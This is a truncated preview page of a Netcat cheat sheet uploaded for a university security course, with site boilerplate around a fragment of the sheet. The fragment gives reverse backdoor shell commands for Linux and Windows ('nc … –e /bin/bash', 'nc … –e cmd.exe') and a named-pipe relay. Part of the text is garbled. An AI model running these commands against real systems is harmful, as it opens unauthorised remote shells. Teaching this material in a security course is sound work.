netcat_cheat_sheet_v1

Previoushopipaddr port 0backpipe nc nexthopipaddr

Info iconThis preview shows page 1. Sign up to view the full content.

View Full Document Right Arrow Icon
This is the end of the preview. Sign up to access the rest of the document.

Unformatted text preview: onnection on [LocalPort_2] Create a shell on local port [LocalPort] that can then be accessed using a fundamental Netcat client Client-to-Client Relay: $ nc [PreviousHopIPaddr] [port] 0<backpipe | nc [NextHopIPaddr] [port2] | tee backpipe Reverse backdoor shell on Linux: $ nc [YourIPaddr] [port] –e /bin/bash Reverse backdoor shell on Windows: C:\> nc [YourIPaddr] [port] –e cmd.exe Create a relay that sends packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat client connected to [NextHopIPaddr] on port [port2] Create a reverse shell that will attempt to connect to [YourIPaddr] on local port [port]. This shell can then be captured using a fundamental nc listener...
View Full Document

This document was uploaded on 03/17/2014 for the course CS 393 at NYU Poly.

Ask a homework question - tutors are online